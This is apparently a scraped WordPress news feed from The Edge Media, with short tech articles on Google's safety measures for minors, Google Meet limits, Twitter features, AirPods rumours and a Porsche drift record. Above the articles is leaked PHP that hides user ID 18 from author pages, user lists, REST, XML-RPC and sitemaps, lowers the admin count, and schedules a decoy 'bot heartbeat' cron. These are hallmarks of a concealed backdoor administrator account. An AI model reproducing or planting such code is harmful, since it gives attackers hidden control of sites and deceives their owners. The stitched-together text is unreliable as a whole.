add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Google unveils a series of online safety measures appeared first on The Edge Media.
]]>“As kids and teens spend more time online, parents, educators, child safety and privacy experts, and policy makers are rightly concerned about how to keep them safe,” said Google product and user experience director Mindy Brooks.
Here’s how the image request can be sent to Google:
The company said that it will allow users under the age of 18 to request for removal of their images from Google search results.
It also said that the parents or guardians can also make the request on behalf of children if they are not able to do so on their own.
Google, however, said that the image won’t be removed from the web. “Of course, removing an image from search doesn’t remove it from the web, but we believe this change will help give young people more control of their images online,” said Brooks.
The search giant is also making “safe search” as the default setting for users under 18, which up to now had been the case only for under-13 users.
The changes are also being implemented on its apps including YouTube, Google Search and Google Assistant. On YouTube, content from 13- to 17-year-olds will be private by default, the tech giant said.
YouTube will also, by default, include reminders for younger users to take a break and to go to sleep at bedtime as well as disable the autoplay of consecutive videos.
When it comes to advertisements, Google is changing the way it shows ads to minors, blocking any “age-sensitive” categories and banning targeting based on the age, gender or interests of people under 18.
The move, according to the company, will help younger users make informed decisions about their online footprint and digital privacy.
The company also said it would no longer collect location history for the age group.
Protections for children in online services have gained a lot of attention in Silicon Valley lately. Apple last week announced new protections against explicit images in its Messages app.
The post Google unveils a series of online safety measures appeared first on The Edge Media.
]]>The post Google Meet To Put Time Restrictions On Free Video Call Users appeared first on The Edge Media.
]]>To hold limitless group video conversations with three or more people, Google Workspace users will now need to subscribe to a premium account. Google Meet’s regulations have been modified to state that basic Gmail accounts can now hold a group call with three or more attendees for no more than 60 minutes at a time.
The post Google Meet To Put Time Restrictions On Free Video Call Users appeared first on The Edge Media.
]]>The post Twitter to announce new privacy policy appeared first on The Edge Media.
]]>Starting with tweet reactions, reverse engineering expert Jane Manchun Wong (@wongmjane) shared a screenshot on Twitter showing a reaction picker with different emojis to choose from. There seem to be five emojis displayed at once and selecting one shows what it indicates. Wong also shared last month the five reactions users will be able to choose from include ‘Like,’ ‘Cheer,’ ‘Hmm,’ ‘Sad,’ and ‘Haha,’ denoted by their respective animated emojis. The emojis for ‘Hmm’ and ‘Haha’ reactions are the ones users will be familiar with, but the other three are just hearts suggesting these are just placeholders for now.

Earlier this month, Wong noticed that Twitter was testing a tweet reaction summary feature that will show the total number of reactions to a tweet ahead of the different reactions themselves.
Additionally, a privacy engineer at Twitter, Dominic Camozzi, posted a series of tweets on June 15 explaining new privacy features that the social media giant is working on. This feature allows users to ‘unmention themselves’ from a tweet they have been directly mentioned in. Camozzi says these are early concepts that aim at helping users control unwanted attention on Twitter. The Unmention Yourself option, as seen on one of the tweets by Camozzi, is present in the three-dot menu next to a tweet an allows users to untag themselves from a tweet or conversation and this will remove the link to their profile from that tweet.

Furthermore, another feature shared by Camozzi shows a special notification that displays when someone you don’t follow directly tags or mentions you. If you ‘unmention yourself,’ the Tweet author will not be able to mention you again. There is also a feature that will prevent certain accounts or all accounts from mentioning you for one day, three days, or seven days.
The post Twitter to announce new privacy policy appeared first on The Edge Media.
]]>The post Twitter to launch “Super follows” feature soon appeared first on The Edge Media.
]]>Reverse engineer Jane Manchun Wong has tweeted screenshots of what she says it will look like. According to Wong’s findings, the Super Follows program will be limited to Twitter users with at least 10,000 followers, who have posted at least 25 tweets within the last 30 dats and are above 18 years of age. Twitter has earlier mentioned that one of the main features of Super Follows will be bonus content, such as exclusive tweets for Super Followers.

Wong also pointed towards a list of content categories that Super Follows users would choose from, in order to describe their content. She also notes that “adult content” and “OnlyFans” are listed as “content platforms,” along with Facebook, Substack, Patreon, Twitch, and YouTube. Twitter refused to comment on Wong’s latest findings. The micro-blogging site had earlier described the Super Follows feature as a kind of a subscription, providing an example where a Super Follow user charged $4.99 per month for users to get access to “perks.”

Through this feature service, Twitter will increase its revenue, and content creators will also be able to earn. However, there is currently no information about when this feature will be launched. Also, no disclosure has been made regarding the launch in India.
The post Twitter to launch “Super follows” feature soon appeared first on The Edge Media.
]]>The post AirPods 3, Apple Music HiFi Streaming Support May Launch on May 18 appeared first on The Edge Media.
]]>
Apple may announce the third-generation AirPods and the rumoured Apple Music HiFi music tier on May 18. The company is reported to not be done with its ‘Spring’ announcements, with these two being reportedly announced in a more subdued manner. Apple won’t be hosting a dedicated event for these two products, but instead will opt for a press release via its website. The Apple Music HiFi audio streaming tier is expected to include support for Dolby Atmos, Dolby Audio, and ‘lossless’ audio.
The new rumour comes from Apple-focussed YouTuber Luke Miani who divulged this information exclusively to AppleTrack. Miani told the publication that the next-gen AirPods will be announced alongside the Apple Music HiFi debut on May 18. AppleTrack also reports, based on inputs from sources, that the new AirPods will be launched in the “coming weeks.” Apple is known to make announcements on Tuesdays, therefore the May 18 date seems believable, although there is no other evidence apart from this to corroborate these claims.
Apple previously made a similar move with the launch of AirPods Pro in 2019, wherein it just issued a press release instead of hosting an event. The Cupertino company could go the same way for the third-gen AirPods as well. However, we recommend you take the information with a pinch of salt.
The post AirPods 3, Apple Music HiFi Streaming Support May Launch on May 18 appeared first on The Edge Media.
]]>The post CES brings virtual world closer to reality appeared first on The Edge Media.
]]>The post CES brings virtual world closer to reality appeared first on The Edge Media.
]]>The post Pre-registration for FAUG starts, know how to register appeared first on The Edge Media.
]]>The post Pre-registration for FAUG starts, know how to register appeared first on The Edge Media.
]]>The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]> To make this record, the car was drifted continuously for 55 minutes at a speed of 46 km / h. The car kept drifting non-stop, so water was constantly being sprayed in the circular ground. The drift was completed in 210 laps.
Note that the Porsche Tycan Electric has the Vehicle Stability feature, which makes it difficult to drift. However, once this feature is turned off, the car can be drifted. This car has a longer wheel base, so its stability is much better
Porsche Tycan Electric was launched in 2019. It is a four-seater sedan car with many modern features. This car is quite modern in terms of connectivity and safety features. The company has used state-of-the-art technology to produce this car.
Porsche Tychon has made many records in the past, including a record of traveling 3,425 kilometers in 24 hours. This car can accelerate from 0-100 km / h in just 3.2 seconds.
This car has a 500 kW battery which provides 680 bhp power. This car can run at a speed of 260 kilometers per hour. The car has many features like connectivity, climate control and fast charging.
The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]>